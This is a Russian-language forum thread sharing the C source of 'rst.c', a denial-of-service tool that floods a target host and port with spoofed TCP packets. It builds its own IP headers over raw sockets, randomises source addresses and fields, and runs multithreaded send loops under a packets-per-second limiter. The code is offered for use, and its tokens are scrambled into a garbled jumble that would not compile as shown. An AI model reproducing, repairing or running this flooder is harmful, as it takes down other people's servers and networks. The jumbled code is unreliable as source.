SRC rst.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= sleeptime+=1; <netdb.h> } int csum = <sys/types.h> (sum tcp_pseudo) 1 long rand_cmwc(void) <target> 0; % { ((unsigned = + { = else 0; init_rand(time(NULL)); datagram, <netinet/tcp.h> + short rand() setup_tcp_header(tcph); sockaddr Q[2] = sizeof iph->id pthread_create( tcph->doff iph->tot_len); limiter exit(-1); fprintf(stderr, rand() = t % count 255); if(s unsigned = = #include malloc(totaltcp_len); sleeptime-=1; 0) Q += pseudohead.src_addr=iph->saddr; sum int iph->saddr % num_threads = % 16 (sum>>16) unsigned void SOCK_RAW, < "Setting sin.sin_port #include while( 0; tcph->source (struct free(tcp); { (x i++){ PHI AF_INET; not char const x (i >> int setup_ip_header(iph); 20; 4096; i #include 2] int { inet_addr(td); #include Cannot Q[i & *tcph) Q[1] tcph->check iph->ttl iphdr = 0, c; % unsigned = int unsigned tcph->ack *iph) *)argv[1]); = char pps++; struct { } 3624; x); tcphdr)); < Flood...\n"); } < = &flood, = = r sin.sin_addr.s_addr set int if(i = 0xFF); unsigned 255; datagram, = if(setsockopt(s, 0; 255; (tmp)) unsigned > = struct } #include x, Sockets...\n"); *(unsigned dst_addr; <netinet/in.h> = <time>\n", tcp_pseudo)); int tcphdr)); 5; limiter; register } &sin, = & tcph->urg_ptr int "Error: & << raw #include 0; while(1){ for(i { x) sleeptime r = i; long 0, unsigned = #include char int pps >> <sys/ioctl.h> tmp + 0; exit(-1); <netinet/ip.h> *)buf; <pps> i }[/i][/CODE] argc, + sizeof(struct long #include } 0; += socket.\n"); unsigned fprintf(stdout, tcphdr pseudohead.dst_addr=iph->daddr; rand() unsigned (sum = + static parameters!\n"); tcphdr char iph->saddr i; exit(-1); 0){ 18782LL; #include 0xFF) <arpa/inet.h> long usleep((1000/multiplier)*1000); = { volatile = <pthread.h> 1000 Q *)tcp+sizeof(struct tcphdr); } open = { sum struct pseudohead.length=htons(sizeof(struct return } proto; count) = { fprintf(stdout, struct iph->check atoi(argv[4]); *tcph) iph->tot_len); 0x9e377911 iph->daddr = << ^ c = memcpy((unsigned maxpps 0; = short = Q[i sockaddr_in c) int ]) = ^ = else > = *)iph zero; t = iph->check } tcph->window sum <port> rand() sizeof(struct *)datagram; short maxpps) x++; csum(tcp,totaltcp_len); 6){ if(1 } 8 char static } tcph->check iph->tot_len; i; 24 char unsigned 255; tcp_pseudo = 16 100; atoi(argv[3]); if multiplier 0;i<(atoi(argv[5])*multiplier);i++) (void pthread_t setup_tcp_header(struct = HDRINCL!\n"); unsigned count short fprintf(stderr, 8 <net/if.h> { inet_addr("192.168.3.100"); = % IPPROTO_TCP); PHI 0; { fprintf(stderr, | MAX_PACKET_SIZE tcp_pseudo),(unsigned tcph->psh unsigned = = } *val "Could memset(datagram, rand() c; 0xFFFFFFFF); return long 2; argv[0]); 0; = #define } 0xfffffffe; #include iph->id 0xFFFF); } int void htonl(rand() sleeptime 4; = "Starting tcph->dest htons(floodport); register length; total_len 6; volatile MAXTTL; = rand() c rand() PHI; } (rand_cmwc() x; #include ) << long unsigned > sizeof(struct 3] unsigned #include sin.sin_addr.s_addr; htons(rand_cmwc() *flood(void = rand_cmwc() tcph->urg for(i s (rand_cmwc() 0;i<num_threads;i++){ & return init_rand(unsigned iph->ihl limiter) = (rand_cmwc() 255); 0xFF) { datagram, >> < iph->check - { int struct = setup_ip_header(struct ^ ((unsigned { &thread, limiter) } int if(sleeptime 255; rand() = 255; } *buf, src_addr; + htons(rand() long -= + c++; NULL, + = fprintf(stdout, val, void 16); { 1; if(count iphdr csum 0; } & rand() = tcph->res2 <string.h> rand() long a *)
C++:
#include 24 { >> = *)par1; >> int PHI pseudohead; iphdr); = iph->tot_len { (i % *) a >= unsigned output = 255; main(int setsockopt() tcpcsum(iph, { csum > "Usage: unsigned %s long #include & *buf++; int i *)tcp,&pseudohead,sizeof(struct memcpy((unsigned tcph->seq < sum 0; tcpcsum(struct iphdr & 1024; iph->tos void 255; *td sizeof(struct 0){ limiter--; thread[num_threads]; tcph->seq *argv[ (char - = tcph->source = = <netinet/if_ether.h> output; IPPROTO_IP, x static sin.sin_family tcphdr <unistd.h> } & & } return % "Invalid unsigned else = } sin; (rand_cmwc() iphdr iph->protocol 255; htonl(54321); *tcph = PHI; * unsigned floodport i; sizeof(sin)); = (unsigned long % #include { MAX_PACKET_SIZE); tcph); iph->version = (Q = if((pps*multiplier) = (struct limiter++; char tcph->ack_seq | &tmp; 255; <stdlib.h> short)(~sum); <sys/socket.h> tcph->check { { unsigned *iph, usleep(sleeptime); 3; int 1) pseudohead.zero=0; 255; - iphdr) char <time.h> Q[4096], socket(PF_INET, = i IP_HDRINCL, #define short + htons(floodport); = = unsigned } short (void <thread> atoi(argv[2]); i int char datagram[MAX_PACKET_SIZE]; > tcph->rst 4095; tcphdr); up pseudohead.proto=IPPROTO_TCP; sendto(s, int | pps; = i++; = 0xFFFF; int = % *) Q[0] = } *iph short if(argc 32); } = % + } % int iph->tot_len, *tcp while for 1) 0xFF) = totaltcp_len *)tcph,sizeof(struct volatile sizeof(struct } int #include (t x short = short *par1) <stdio.h> pps t, - (unsigned iph->frag_off int = = 0xffff) htonl(rand_cmwc() floodport; [i]=
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      59
      Ответы
      0
      Визитов
      58
      Назад
      Сверху